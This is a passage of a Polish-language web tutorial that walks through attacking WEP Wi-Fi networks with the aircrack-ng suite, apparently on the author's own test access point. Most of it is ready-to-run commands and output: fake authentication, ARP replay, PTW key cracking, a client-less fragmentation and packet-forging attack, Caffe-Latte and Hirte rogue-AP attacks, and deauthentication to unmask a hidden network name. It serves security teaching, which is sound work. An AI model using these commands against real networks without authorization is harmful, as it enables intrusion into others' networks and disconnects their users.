Po rozpoczęciu nasłuchu w drugim terminalu przeprowadzamy cały atak. Próbujemy się uwierzytelnić (fakeauth - fake authentication, fałszywe uwierzytelnienie):
# aireplay-ng -1 0 -e "test" -a 00:01:E3:11:22:33 -h 00:23:45:11:22:33 mon0
-1 0 to atak fakeauth z zerowym opóźnieniem
-e to nazwa atakowanej sieci
-a to MAC AP
-h to MAC klienta

Fakeauth powinien przebiec bez problemu, ponieważ podłączamy się do sieci WEP z uwierzytelnianiem otwartym. Gdyby w sieci zastosowane było uwierzytelnianie z kluczem współdzielonym należało by znać kilka bajtów strumienia klucza (fakeauth również sobie z tym radzi).

Po udanej asocjacji wysyłamy fałszywe pakiety ARP request (atak ARP replay):
# aireplay-ng -3 -b 00:01:E3:11:22:33 -h 00:23:45:11:22:33 mon0
-3 to atak powtarzania ARP request
-b to MAC AP
-h to MAC klienta

atak PTW 1

W ataku arpreplay program nasłuchuje pakietów ARP i retransmituje je do AP. Powoduje to, że AP powtarza wysyłanie pakietu ARP z nowym IV. Program w kółko wysyła ten sam pakiet ARP a w rezultacie przechwytujemy coraz to inne IV od AP. Od tego momentu ilość przechwyconych danych powinna drastycznie wzrastać (kolumna #Data przy atakowanym AP).

atak PTW 2

Po przechwyceniu kilku tysięcy pakietów przerywamy (CTRL+C) wysyłanie (drugi terminal) i przechwytywanie (pierwszy terminal) pakietów.

Mając przechwycone pakiety w pliku pakiety-01.cap (lub IV w pliku pakiety-01.ivs) możemy rozpocząć poszukiwanie klucza metodą PTW wydając polecenie:
# aircrack-ng pakiety-01.cap
Jeśli wiemy, że strumień klucza ma konkretną długość to możemy z tego skorzystać dodając przełącznik -n, np dla 128 bitowego strumienia klucza:
# aircrack-ng -n 128 pakiety-01.cap
Jeśli w pliku zebrane są dane z kilku sieci wybieramy właściwą (w naszym przypadku zebrane są dane tylko z jednej sieci - zostanie ona automatycznie wybrana).

Sniffowania i ataku nie musimy przerywać aby zacząć łamać klucz. Otwieramy po prostu nowy terminal i łamiemy w nim klucz, jeśli operacja nie powiedzie się (z powodu zbyt małej ilość IV), czekamy aż nazbiera się ich kilka tysięcy więcej (aircrack sugeruje 5000 więcej) i ponawiamy łamanie. Jest to szczególnie przydatnie, gdy zależy nam na czasie - nie musimy zbierać sugerowanych 40.000 pakietów, lecz zacząć łamać klucz już przy np. 5.000, w razie niepowodzenia nic nie tracimy (atak wciąż trwa a pakiety ciągle są zbierane do pliku).

A oto wynik ataku PTW:

atak PTW 3

Crackowanie klucza opiera się na analizie statystycznej. Mając przechwyconą wystarczającą ilość danych nominuje się poszczególne wartości bajtów na podstawie prawdopodobieństwa ich wystąpienia.

W kolumnie KB znajdują się kolejne zgadywane bajty klucza. Na rysunku jest to klucz 13 znakowy, ostatnie bajty można odgadywać metodą bruteforce dającą jeszcze szybszy wynik niż metoda statystyczna (ilość bajtów łamanych bruteforce w aircrack-ng kontroluje przełącznik -x0/-x1/-x2). Kolumna depth to głębokość poszukiwania. W kolumnie byte(vote) znajduje się lista najbardziej prawdopodobnych wartości dla danego bajtu wraz z oddanymi na niego głosami (w nawiasach).

Działanie programu należy odczytać tak:
Pierwszy bajt (0) ma najprawdopodobniej wartość 0x74. W następnej kolejności najbardziej prawdopodobna wartość to 0x9A, kolejna to 0xF4, dalej D0, itd.
Drugi bajt (1) to najprawdopodobniej 0x61. W następnej kolejności najbardziej prawdopodobna wartość to 0x35.
Trzeci bajt (2) to najprawdopodobniej 0x6A. W następnej kolejności najbardziej prawdopodobna wartość to 0x06.
itd., aż do ostatniego bajtu (12), który domyślnie będzie łamany metodą bruteforce (dlatego wartość najwyżej nominowana (0x37) jest akurat nieprawidłowa).

Składając z tego ciągu bajtów klucz, program był w stanie odnaleźć klucz 0x74 0x61 0x6A 0x6E 0x65 0x68 0x61 0x73 0x6C 0x6F 0x31 0x32 0x33, czyli ciąg znaków ASCII "tajnehaslo123".

Jak widzimy z przechwyconych ponad 40.000 pakietów uzyskaliśmy klucz WEP w ciągu dosłownie paru sekund.

Atak na WEP bez klientów


Przeprowadzenie ataku na sieć bez podłączonych klientów również jest możliwe.

W ataku tym adres MAC klienta zastępujemy naszym adresem MAC karty bezprzewodowej:
# ifconfig wlan0
wlan0     Link encap:Ethernet  HWaddr 00:1A:73:11:22:33  
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
Podsumowując potrzebna dane do ataku:
ESSID: "test"
BSSID: 00:01:E3:11:22:33
Kanał: 1 (2.412 GHz)
MAC klienta: 00:1A:73:11:22:33 (wlan0)

Na początek przeprowadzamy fałszywą autoryzację (fakeauth):
# aireplay-ng -1 0 -a 00:01:E3:11:22:33 -h 00:1A:73:11:22:33 mon0
Po udanej autoryzacji musimy uzyskać właściwy strumień klucza (PRGA). Strumień klucza możemy uzyskać atakiem chopchop lub fragmentacyjnym. Zastosujemy drugi sposób:
# aireplay-ng -5 -b 00:01:E3:11:22:33 -h 00:1A:73:11:22:33 mon0
Uzyskaliśmy w ten sposób strumień klucza w pliku fragment-1125-093308.xor.
Skorzystamy teraz z programy packetforge-ng do skonstruowania pakietu zaszyfrowanego odzyskanym strumieniem klucza. Wygenerujemy pakietu ARP request i zapiszemy go do pliku arpreq:
# packetforge-ng -0 -a 00:01:E3:11:22:33 -h 00:1A:73:11:22:33 -k 255.255.255.255 -l 255.255.255.255 -y fragment-1124-232205.xor -w arpreq
Wrote packet to: arpreq
-0 to typ pakietu (ARP)
-a to adres MAC AP
-h to źródłowy adres MAC (nasz)
-k to źródłowy adres IP
-l to docelowy adres IP
-y to wejściowy plik z PRGA
-w to wyjściowy plik z utworzonym pakietem

Mając przygotowany pakiet ARP rozpoczynamy nasłuch:
# airodump-ng -c 1 --bssid 00:01:E3:11:22:33 -w pakiety2 mon0
a w drugim terminalu wysyłanie pakietów ARP:
# aireplay-ng -2 -r arpreq mon0
No source MAC (-h) specified. Using the device MAC (00:1A:73:11:22:33)


        Size: 68, FromDS: 0, ToDS: 1 (WEP)

              BSSID  =  00:01:E3:11:22:33
          Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  00:1A:73:11:22:33

        0x0000:  0841 0201 0001 e346 6345 001a 73a1 1d06  .A.....FcE..s...
        0x0010:  ffff ffff ffff 8001 6236 0600 5cc9 c672  ........b6..\..r
        0x0020:  05b6 b5f9 18ab eedf b47b 2f9c dd0f e68e  .........{/.....
        0x0030:  8538 155f 562b 8169 72b3 e320 82f4 b4d9  .8._V+.ir.. ....
        0x0040:  09d9 9c73                                ...s

Use this packet ? y
atak na WEP bez klientów

Jak widzimy AP generuje pakiety. Możemy przystąpić do łamania klucza (metodą PTW):
# aircrack-ng pakiety2-01.cap

Opening pakiety2-01.cap
Read 185610 packets.

   #  BSSID              ESSID                     Encryption

   1  00:01:E3:11:22:33  test                      WEP (41912 IVs)

Choosing first network as target.

Opening pakiety2-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 41912 ivs.

                                           Aircrack-ng 1.1 r1738


                           [00:00:00] Tested 745 keys (got 41853 IVs)

   KB    depth   byte(vote)
    0    0/  8   74(55552) E7(51200) 96(49920) CD(49920) AF(49664) AA(49152) 5E(48896)
    1    0/  1   64(62464) 11(51200) 00(49664) 26(49408) BE(49408) E0(49408) 41(48896)
    2    0/  2   6A(58368) 0F(51200) 51(49920) E0(49920) 1E(48128) 27(48128) 71(48128)
    3   20/  3   C2(46592) 1C(46336) 35(46336) A8(46336) E3(46336) 23(46080) 2E(46080)
    4    0/  4   12(58112) 92(50432) D3(50432) CB(50176) 69(48896) 90(48640) F2(48640)

     KEY FOUND! [ 74:61:6A:6E:65:68:61:73:6C:6F:31:32:33 ] (ASCII: tajnehaslo123 )
        Decrypted correctly: 100%
Klucz został wydobyty.

Atak Caffe-Latte i atak Hirte (cfrag)


Ataki te pozwalają uzyskać klucz do sieci nie będąc w zasięgu AP. Skierowane są nie na AP lecz na odizolowanego klienta znającego klucz. Klienci bardzo często posiadają zapisane ustawienia dostępu do sieci i załączoną opcję autołączenia jeśli sieć jest w zasięgu.

Na wstępie zaznaczę, iż w moim przypadku zbieranie danych odbywało się nadzwyczaj wolno, praktycznie uniemożliwiając zebranie dostatecznej ilości danych w rozsądnym czasie (w takim tempie trwało by to całymi dniami). W zbieraniu danych pomagało przerywanie i wznawianie ataku.

Ataki są możliwe ponieważ klient nie uwierzytelnia AP a zarządzające ramki 802.11 nie są zabezpieczane pod względem autentyczności.

W ataku Caffe-Latte podszywamy się pod AP i odpowiadamy na żądania podłączenia klientów. Po pomyślnej fazie asocjacji czekamy na pakiety Gratuitous ARP (polskim tłumaczeniem może być "dobrowolny pakiet ARP").

Pakiety takie nie są wymagane przez specyfikację ARP (RFC 826) ale są wysyłane w celach pomocniczych, np. gdy zmienimy IP interfejsu sieciowego lub gdy załączymy interfejs.

W pakiecie tym źródłowy i docelowy adres IP ustawiane są na adres maszyny wysyłającej pakiet, a docelowy adres MAC ustawiany jest na adres broadcast FF:FF:FF:FF:FF:FF.

Każde urządzenie podłączając się do sieci generuje taki pakiet, aby poinformować inne urządzenia w sieci o zmianie swojego adresu IP/MAC. Są one pomocne w:
  • detekcji konfliktów IP,
  • aktualizacji tablicy ARP innych maszyn w sieci,
  • aktualizacji tablicy MAC switchy w sieci.
Po asocjacji są dwie możliwości:
  1. Przy statycznych IP klient wysyła kilka pakietów Gratuitous ARP rozgłaszając swoje IP. Pakiety takie są oczywiście zaszyfrowane.
  2. Przy DHCP klient wysyła wiadomość DHCP Discover, nasz podszyty AP nie może odpowiedzieć na takie pakiety. Po pewnym czasie klient korzysta z autokonfiguracji IP (zeroconfig/APIPA). Po przydzieleniu sobie adresu IP klient wysyła kilka pakietów Gratuitous ARP rozgłaszając swoje IP
Wyłapując pakiet Gratuitous ARP przestawia się w nim źródłowy adres MAC i IP. Klient po odebraniu takiego adresu odpowiada pakietem ARP (zaszyfrowanym nowym IV). Ponawiamy wysyłanie zmodyfikowanego pakietu w celu uzyskania coraz to większej liczby pakietów od klienta.

Atak Hirte jest rozwinięciem ataku Caffe-Latte. Wyczekuje na pakiet ARP request lub pakiet IP od klienta po tym jak klient połączył się z fałszywym AP. Po przechwyceniu pakietu wyciąga z niego małą porcję PRGA i dzięki niej tworzy pakiet ARP request (wykorzystuje fragmentację) skierowany do klienta.

Przełączamy interfejs w tryb monitor:
# aimon-ng start wlan0 1
Rozpoczynamy atak Caffe-Latte:
# airbase-ng -c 1 -e "test" -a 00:01:E3:11:22:33 -L -W 1 mon0
lub atak Hirte:
# airbase-ng -c 1 -e "test" -a 00:01:E3:11:22:33 -N -W 1 mon0

Created tap interface at0
Trying to set MTU on at0 to 1500
Access Point with BSSID 00:01:E3:11:22:33 started.
gdzie:
-c to kanał
-e to ESSID
-a to MAC AP
-L/N to atak Caffe-Latte/atak Hirte
-W 1 ustawia pakiety kontrolne (beacons) na WEP.
Po rozpoczęciu ataku utworzony zostanie dodatkowy interfejs at0. Interfejs ten może być wykorzystany do innego ataku (MIM - Man-In-The-Middle).

Gdy pojawia sie klient i zechce się podłączyć do naszego fałszywego AP (atak Caffe-Latte):
Client 00:23:45:11:22:33 associated (WEP) to ESSID: "test"
Client 00:23:45:11:22:33 associated (WEP) to ESSID: "test"
Client 00:23:45:11:22:33 associated (WEP) to ESSID: "test"
Client 00:23:45:11:22:33 associated (WEP) to ESSID: "test"
Starting Caffe-Latte attack against 00:23:45:11:22:33 at 100 pps.
lub (atak Hirte):
Client 00:23:45:11:22:33 associated (WEP) to ESSID: "test"
Starting Hirte attack against 00:23:45:11:22:33 at 100 pps.
Rozpoczynamy wówczas przechwytywanie pakietów (możemy je oczywiście rozpocząć już wcześniej):
# airodump-ng -c 1 --bssid 00:01:E3:11:22:33 -w atak mon0
Teraz sniffer powinien zacząć zbierać dane, które w końcu będziemy mogli wykorzystać do złamania klucza (np. metodą PTW [aircrack-ng] po zebraniu ok 40.000 pakietów).

Wykrywanie ESSID (sieć ukryta)


Gdy AP skonfigurowany jest jako widoczny, co pewien czas rozgłasza swoją obecność w sieci (broadcast). Ma to oczywiście na celu odnalezienie go przez klientów i podpięcie się do sieci.

Zazwyczaj AP pozwala na wyłączenie rozgłaszania ESSID. Jak sie zaraz okaże daje to złudne poczucie bezpieczeństwa. Nawet sieć ukryta może być w łatwy sposób odkryta.

Za każdym razem, gdy ktoś podłącza się do sieci jej ESSID jest przesyłany otwartym tekstem. Możemy więc poczekać, aż jakiś klient zechce się do niej podłączyć (i jest to najbezpieczniejsze rozwiązanie) lub zmusić podłączonego klienta do ponownej autoryzacji (taki atak można łatwo wykryć).

Ponieważ czekanie na podłączenie się klienta może być nudne, zastosujemy inwazyjną metodę odłączającą klienta od sieci. Spróbujemy poznać nazwę ukrytej sieci, której AP ma adres MAC 00:01:E3:11:22:33. Jest to ten sam AP z powyższych ataków, lecz tym razem jego ESSID został ukryty.

Rozpoczynamy od przygotowania interfejsu:
# airmon start wlan0 1
Standardowo rozpoczynamy nasłuch na pierwszym kanale:
# airodump-ng -c 1 mon0

 CH  1 ][ Elapsed: 8 s ][ 2010-11-25 14:10

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:01:E3:11:22:33  -42 100       94       12    5   1  54 . WEP  WEP         <length:  4>

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

 00:01:E3:11:22:33  00:23:45:11:22:33  -40    0 -54      0        1
W ukrytych sieciach nazwa (ESSID) przedstawiona jest w snifferze jako <length: 4>, mówiąc nam jedynie że długość nazwy sieci wynosi 4 znaki.

Do AP podłączony jest już jeden klient o adresie MAC 00:23:45:11:22:33. Wykorzystamy go do zdradzenia nazwy sieci.

W drugim terminalu wysyłamy klientowi rządanie odłączenia od sieci:
# aireplay-ng -0 1 -a 00:01:E3:11:22:33 -c 00:23:45:11:22:33 mon0
14:10:36  Waiting for beacon frame (BSSID: 00:01:E3:11:22:33) on channel 1
14:10:36  Sending 64 directed DeAuth. STMAC: [00:23:45:11:22:33] [18|58 ACKs]
-0 1 oznacza przeprowadzenie 1 ataku deautoryzacji (w jednym ataku wysyłane są 64 ramki DeAuth)
-a określa adres MAC AP
-c określa, do którego klienta skierować atak

Sniffer (w pierwszym terminalu) powinien już wyłapać odpowiednie pakiety autoryzacyjne klienta ponownie łączącego się do AP, przez co nazwa sieci będzie już dla sniffera znana:
 CH  1 ][ Elapsed: 52 s ][ 2010-11-25 14:12

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:01:E3:11:22:33  -46 100      126      119    8   1  54 . WEP  WEP    OPN  test

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

 00:01:E3:11:22:33  00:23:45:11:22:33  -39   54 - 2     30      165  test

Test szybkości i jakości połączenia


Test jakości i szybkości połączenia z AP możemy wykonać przez polecenie:
# aireplay-ng -9 -a 00:01:E3:11:22:33 -e "test" -B mon0
23:09:46  Waiting for beacon frame (BSSID: 00:01:E3:11:22:33) on channel 1
23:09:46  Trying broadcast probe requests...
23:09:46  Injection is working!
23:09:48  Found 1 AP

23:09:48  Trying directed probe requests...
23:09:48  00:01:E3:11:22:33 - channel: 1 - 'test'
23:09:48  Ping (min/avg/max): 1.225ms/8.302ms/14.086ms Power: -44.00
23:09:48  30/30: 100%

23:09:48  Trying directed probe requests for all bitrates...

23:09:48  00:01:E3:11:22:33 - channel: 1 - 'test'
23:09:50  Probing at 1.0 Mbps:  28/30:  93%
23:09:51  Probing at 2.0 Mbps:  29/30:  96%
23:09:52  Probing at 5.5 Mbps:  29/30:  96%
23:09:53  Probing at 6.0 Mbps:  29/30:  96%
23:09:54  Probing at 9.0 Mbps:  29/30:  96%
23:09:55  Probing at 11.0 Mbps: 29/30:  96%
23:09:56  Probing at 12.0 Mbps: 27/30:  90%
23:09:57  Probing at 18.0 Mbps: 26/30:  86%
23:09:58  Probing at 24.0 Mbps: 28/30:  93%
23:09:59  Probing at 36.0 Mbps: 28/30:  93%
23:10:00  Probing at 48.0 Mbps: 29/30:  96%
23:10:00  Probing at 54.0 Mbps: 29/30:  96%
-9 to rodzaj ataku (test jakości)
-a to adres MAC AP
-e "test" to nazwa sieci
-B nakazuje wykonanie testu szybkości (bitrate)


   [ Drukuj ] [ Wyślij stronę ]

Komentarze

Dodaj komentarz!


Wszystkie obrazy, grafika, tekst oraz wszelkie inne treści reprezentowana na tej stronie (oprócz niektórych z działu Download) są chronione prawami autorskimi i są wyłączną własnością autora tej strony. Wszelkie przypadki użycia i/lub publikacji są zastrzeżone na całym świecie. Wszystkie zdjęcia i inne treści są wyraźnie nie w Domenie Publicznej. Żadne zdjęcia ani inne materiały na tej stronie nie mogą być kopiowana, przechowywana, poddawane manipulacji, publikowane, sprzedawane lub cytowane w całości lub w części w jakiejkolwiek formie bez uprzedniej pisemnej zgody upoważnionego przedstawiciela tej strony.

Jako materiał chroniony prawami autorskimi, wszystkie zdjęcia umieszczone na tej stronie chronione są zgodnie z międzynarodowym prawem autorskim.

All images, graphics, text, and all other content represented on this website (except for some of the Download section) are copyrighted and are the sole property of author of this website. All use and/or publication rights are reserved worldwide. All images and all other content are expressly not in the Public Domain. No images or other content on this website may be copied, stored, manipulated, published, sold or reproduced in whole or in part in any form without the prior written authorization of an authorized representative.

As copyrighted material, all images displayed on this site are protected under international copyright laws.

....:::: © 2004-2009 MindShifter ]:::::[ kontakt: Gadu-Gadu 2644644 ::::....